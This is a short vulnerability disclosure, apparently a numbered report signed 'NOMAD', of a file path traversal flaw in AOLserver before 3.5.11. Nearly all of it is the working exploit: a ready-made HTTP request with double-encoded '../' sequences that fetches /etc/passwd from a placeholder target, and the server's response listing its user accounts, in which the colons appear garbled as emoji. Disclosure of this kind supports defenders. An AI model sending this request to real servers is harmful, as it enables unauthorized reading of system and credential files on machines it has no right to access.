#291 AOLserver < 3.5.11 -- File path traversal

[NOMAD]

Hello,

File path traversal was found in AOLserver < 3.5.11.
This bug re-emerged in version 3.3, 3.4, 3.5...
Using this vulnerability, attackers can gain read access to arbitrary files on the server.

Regards,
NOMAD

---

-- Http Request
GET /%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fetc%252fpasswd HTTP/1.1
Host: {target}
Accept: /
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close

-- Http Response
HTTP/1.0 200 OK
Cache-Control: no-cache, max-age=1
Last-Modified: Sat, 23 Apr 2016 04:51:21 GMT
Content-Type: application/octet-stream
MIME-Version: 1.0
Date: Thu, 23 Jun 2016 04:03:18 GMT
Server: AOLserver/3.5.11
Content-Length: 1925
Connection: close

root❌0:0:root:/root:/bin/bash
bin❌1:1:bin:/bin:/sbin/nologin
daemon❌2:2:daemon:/sbin:/sbin/nologin
adm❌3:4:adm:/var/adm:/sbin/nologin
lp❌4:7:lp:/var/spool/lpd:/sbin/nologin
sync❌5:0:sync:/sbin:/bin/sync
shutdown❌6:0:shutdown:/sbin:/sbin/shutdown
halt❌7:0:halt:/sbin:/sbin/halt
mail❌8:12:mail:/var/spool/mail:/sbin/nologin
uucp❌10:14:uucp:/var/spool/uucp:/sbin/nologin
operator❌11:0:operator:/root:/sbin/nologin
games❌12💯games:/usr/games:/sbin/nologin
gopher❌13:30:gopher:/var/gopher:/sbin/nologin
ftp❌14:50:FTP User:/var/ftp:/sbin/nologin
nobody❌99:99:Nobody:/:/sbin/nologin
dbus❌81:81:System message bus:/:/sbin/nologin
vcsa❌69:69:virtual console memory owner:/dev:/sbin/nologin
rpc❌32:32:Rpcbind Daemon:/var/cache/rpcbind:/sbin/nologin
abrt❌173:173::/etc/abrt:/sbin/nologin
rpcuser❌29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody❌65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
haldaemon❌68:68:HAL daemon:/:/sbin/nologin
ntp❌38:38::/etc/ntp:/sbin/nologin
saslauth❌499:76:"Saslauthd user":/var/empty/saslauth:/sbin/nologin
postfix❌89:89::/var/spool/postfix:/sbin/nologin
sshd❌74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
tcpdump❌72:72::/:/sbin/nologin
oprofile❌16:16:Special user account to be used by OProfile:/home/oprofile:/sbin/nologin
myrmidon❌666:666:Trojan Hobby Horse:/home/myrmidon:/bin/bash
pubadmin❌440:440:Public site AOLserver user:/home/pubadmin:/bin/bash
pubcode❌441:440:Public site web code owner:/home/pubcode:/bin/bash
publogs❌442:440:Public site web log reader:/home/publogs:/bin/bash
pubcerts❌443:441:Public site web certificate owner:/home/pubcerts:/bin/bash
nsadmin❌400:400:AOLserver user:/home/nsadmin:/bin/bash
webcode❌401:400:Web code owner:/home/webcode:/bin/bash
weblogs❌402:400:Web log reader:/home/weblogs:/bin/bash
webcerts❌403:401:Web certificate owner:/home/webcerts:/bin/bash